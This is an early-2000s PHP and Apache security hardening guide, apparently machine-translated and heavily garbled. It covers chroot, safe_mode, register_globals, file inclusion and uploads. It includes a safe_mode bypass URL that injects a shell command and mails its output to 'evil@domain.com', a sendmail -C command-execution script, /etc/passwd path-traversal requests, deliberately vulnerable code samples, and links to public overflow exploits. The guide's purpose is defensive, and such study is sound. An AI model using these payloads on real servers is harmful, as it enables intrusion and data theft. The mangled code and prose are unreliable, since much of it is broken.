PHP security is very good finishing DOC: san Version: 0.02 Created: 2001/11/12 Updated: 2003/07/21 a, PHP Web server security, but in fact is a module Web server function, so we must first ensure that the Web server Safety. Of course, the Web server must be safe and must be guaranteed to ensure system security, so it is far away, endless. PHP can be combined with a variety of web servers, and Apache is also discussed here. It is very recommended to install the Apache in Chroot, so even if Apache and PHP have a vulnerability, which is affected, only this imprisoned system, does not endanger the actual system. But after using Chroot Apache, it will also bring certain troubles to applications. For example, when connecting MySQL, you must use TCP connections with a 127.0.0.1 address without using localhost to implement Socket connections, which will be slightly worse in efficiency. There is also a Mail function to send an email is also a problem, because of php.ini: [mail function]; for win32 only.smtp = localhost; for Win32 Only.sendmail_from = me@localhost.com is a for Win32 platform, so it is needed Adjust Sendmail in the chroot environment. Second, PHP itself problem 1, remote overflow PHP-4.1.2 All versions exist file upload remote buffer overflow vulnerability, and the attack program has spread widely, the success rate is very high: http://packetstormsecurity.org/0204- Exploits / 7350Fun http://hsj.shadowpenguin.org/misc/php3018_exp.txt 2, remote denial of service PHP-4.2.0 and PHP-4.2.1 Presence PHP MULTIPART / FORM-DATA POST request to process remote vulnerabilities, although not available Local user privileges, but can also be rejected. 3, SAFE_MODE bypassing the vulnerability and PHP-4.2.2 below PHP-4.0.5, there is a PHP MAIL function to bypass the SAFE_MODE limit execution command vulnerability, the 4.0.5 version starts the MAIL function adds the fifth parameters, due to design Considering that it can break through the limit execution command of SAFE_MODE in no circumference. Among them, the 4.0.5 version breaks through very simple, just use the semicolonaway to add the shell command, such as the presence PHP scripting eviL.php: Mail ("foo @ bar," foo "," bar "," ", $ bar);?> Perform the following URL: http://foo.com/evil.php?bar=;/usr/bin/id& # 124; mail evil@domain.com This will send the results performed by the ID Give Evil@domain.com. For the PHP breakthrough SAFE_MODE limit for 4.0.6 to 4.2.2, it is actually using the -c parameters of Sendmail, so the system must use Sendmail.
The following code can break through the SAFE_MODE limit execution command: # Note that the following two must be existing, or the owner of the owner and this script is the same $ Script = "/ tmp / script123"; $ cf = "/ TMP / CF123"; $ fd = fopen ($ CF, "W"); FWRITE ($ FD, "OQ / TMPSPARSE = 0R $ *". Chr (9). "$ # local $ @ $ 1 $: $ 1 mlocal, p = / bin / sh, a = sh $ script "); Fclose ($ fd); $ fd = fopen ($ Script," W "); FWRITE ($ FD," RM -F $ Script $ CF ; "); FWRITE ($ FD, $ CMD); Fclose ($ FD); Mail (" Nobody ",", ",", "-c $ cf");?> Or use the above problem version PHP users must upgrade to the latest version in time, so that basic security issues can be eliminated. Third, the security configuration of PHP itself is very flexible, can be set by php.ini, httpd.conf, .htaccess file (this directory must be set), you can also use ini_set () in the scripter. And other specific functions are set. Each value of the configuration option can be obtained by phpinfo () and get_cfg_var () functions. If the configuration option is the only php_ini_system property, you must modify via php.ini and httpd.conf, which modifies the master value of the PHP, but you must restart Apache after the modification can take effect. The option for php.ini settings is to take effect for all scripts of the web server, and the options set in httpd.conf are taken effect on all scripts in the definition directory. If there are other PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL attribute options can be used to use .htaccess file settings, or by setting the INI_SET () function in the script, they modify the LOCAL value, change it immediately. But .htaccess only takes effect on the script program of the current directory, the INI_SET () function is only effective after setting the code ini_set () function for the scripter. The option properties of each version may be the same, you can use the following command to find all the options for the current source code, and its properties: # Grep php_ini_ / php_src/main/main.c before discussion PHP security configuration It should be a good understanding of the SAFE_MODE mode of PHP. 1. SAFE_MODE SAFE_MODE is the unique php_ini_system property, must be set via php.ini or httpd.conf. To enable SAFE_MODE, simply modify php.ini: Safe_Mode = ON or modify httpd.conf, define directory:
The function of all operation files can only be operated with the script UID, such as the content of the Test.php script: Include ("index.html")?> Several files The properties are as follows: # ls -latotal 13DRWXR- XR-x 2 root root 104 JUL 20 01:25 .drwxr-xr-x 16 root root 384 JUL 18 12:02 ..- rw-r - r - 1 root root 4110 OCT 26 2002 Index.html-rw -r - r - 1 WWW-DATA WWW-DATA 41 JUL 19 19:14 Test.php In the browser request Test.php will prompt the following error message: Warning: Safe Mode Restriction in Effect. The Script Whose Uid / GID IS 33/33 is not allowed to access ./index.html owned by uid / gid 0/0 in /var/www/test.php on line 1 If the UID and script uid of the directory where the file is being operated, then The UID of the file can be accessed even if the script is different, I don't know if this is a vulnerability of PHP or another hidden. Therefore, the user of the PHP script is best for this purpose, absolutely prohibiting using root as the primary owner of the PHP script, so that the SAFE_MODE is not achieved. If you want to relax it to the GID comparison, open SAFE_MODE_GID to consider only the GID of the file, you can set the following option: SAFE_MODE_GID = ON After setting SAFE_MODE, all the functions executed by all commands will only perform PHP.INI SAFE_MODE_EXEC_DIR specified Programs in the catalog, and shell_exec, `ls -l` This way of execution commands will be disabled. If you really need to call other programs, you can do the following settings in php.ini: SAFE_MODE_EXEC_DIR = / usr / local / php / exec Then copy the program to the directory, then the PHP script can perform the program with a function such as System. And the shell script in this directory can also call the system command in other directories. SAFE_MODE_INCLUDE_DIR STRING When the directory and its subdirectory (directory must be included in include_path or included with the full path), the UID / GID check is over. Starting with PHP 4.2.0, this directive can accept the style with the number of semicolons that are separated by a semicolon, not just a directory, and the INCLUDE_PATH instruction The specified limit is actually a prefix, not a directory name. This is to say "SAFE_MODE_INCLUDE_DIR = / DIR / INCL" will allow access to "/ DIR / include" and "/ Dir / INCLS" if they exist. If you want to control the access to a specified directory, then add a slash at the end, for example: "SAFE_MODE_INCLUDE_DIR = / DIR / INCL /". SAFE_MODE_ALLOWED_ENV_VARS STRING Setting some environment variables may be potential security gaps. This instruction contains a comma-separated prefix list. In safe mode, users can only change the environment variables that have the prefix provided here. By default, users can only set environment variables beginning with PHP_ (eg pHP_foo = BAR).
Note: If the instruction is empty, the PHP will enable the user to modify any environment variables! SAFE_MODE_PROTECTED_ENV_VARS STRING This instruction contains a list of comma-separated environment variables, and end users cannot use putenv () to change these environment variables. These variables cannot be changed even when setting up to SAFE_MODE_ALLOWED_ENV_VARS. Although SAFE_MODE is not universal (low version of PHP can be bypassed), but it is also strongly recommended to open security mode to a certain extent, some unknown attacks can be avoided. However, it will have a lot of limitations that enable SAFE_MODE, which may have an impact on the application, so adjust the code and configuration to harmonize. Functions that are restricted or masked by safety mode can refer to the PHP manual. After discussion SAFE_MODE, the following combined with the actual problem that the program code actually appears how to avoid the vulnerability of the PHP server side. 2, variable abuse of PHP default register_globals = ON, for GET, POST, Cookie, Environment, Session variables can be registered directly into global variables. Their registration order is Variables_Order = "EGPCS" (can be modified via php.ini), the same name variable variables_order, so the abuse of the variable is very easy to cause the program. Moreover, scripting programs often do not have habits initialized to variables, like the following program seasses are extremely vulnerable: // Test_1.php if ($ pass == "Hello") $ auth = 1; if ($ auth = = 1) Echo "Some Important Information"; Else Echo "Nothing";?> An attacker only needs to bypass the check: http://victim/test_1.php? Auth = 1 This is a very Negative mistakes, but some famous procedures have also made this mistake, such as phpnuke's remote file copy vulnerability: http://www.securityfocus.com/bid/3361 PHP-4.1.0 is recommended to close Register_Globals, and Seven special array variables are provided to use various variables. For variables from GET, POST, Cookie, etc., do not directly register into variables, must be accessed by array variables. When PHP-4.2.0 is released, the PHP.INI default configuration is register_globals = OFF. This makes the program use the default value initialized by PHP itself, typically 0, avoiding an attacker control judgment variable. Workaround: Profile php.ini Sets register_globals = OFF. The programmer is required to initialize a value at the beginning of the determination.
3, the file opens the extremely vulnerable code snippet: // Test_2.php if (! ($ Filename ")) {Echo (" Could NOT OPEN FILE: $ FileName
" ); Else {Echo $ Str;}?> Because an attacker can specify any $ filename, the attacker can see / etc / passwd: http: //victim/test_2.php? Filename as the following request = / etc / passwd The following request can read the php file itself: http://victim/test_2.php? filename = test_2.php php File Open Function There is FOPEN (), file (), etc. If the file name variable check Do not strictly cause the server important document to be accessed. Workaround: If there is a non-special need, limit the PHP file operation to the web directory. The following is an example of modifying an apache profile httpd.conf:
If you don't have a serious risk of the system for the included file name variable, you can remotely execute the command. Workaround: Requires the programmer to include the parameters in the file try not to use the variable, if you use a variable, you must strictly check the file name to be included, it is absolutely not specified by the user. The PHP operation path is restricted in the previous file open is a necessary option. Alternatively, if you do not have special needs, you must turn off the remote file opening function of the PHP. Modify the php.ini file: allow_url_fopen = OFF restart Apache. 5, file uploading PHP file upload mechanism is a temporary directory that the file uploaded by the user in PHP.ini UPLOAD_TMP_DIR defined (default is a temporary directory of the system, such as: / tmp), a random temporary file, program The execution ends, the temporary file is also deleted. PHP defines four variables to the uploaded file: (If the Form variable name is file, and register_global is open) $ file # is a temporary file saved to the server (such as / tmp / phpxuoxg) $ file_size # Upload the file size $ file_name # The original name of the upload file $ file_type # Upload type Recommended: $ http_post_files ['file'] ['tmp_name'] $ http_post_files ['file'] ['size'] $ http_post_files ['file'] ['name' ] $ Http_post_files ['file'] ['type'] This is a simplest file upload code: // Test_5.php if (isset ($ upload) && $ file! = "None") {copy ($ File, "/usr/local/apache/htdocs/upload/". $FILE_NAME); Echo "File". $ file_name. "Upload success! Click Continue to upload "; EXIT;}?>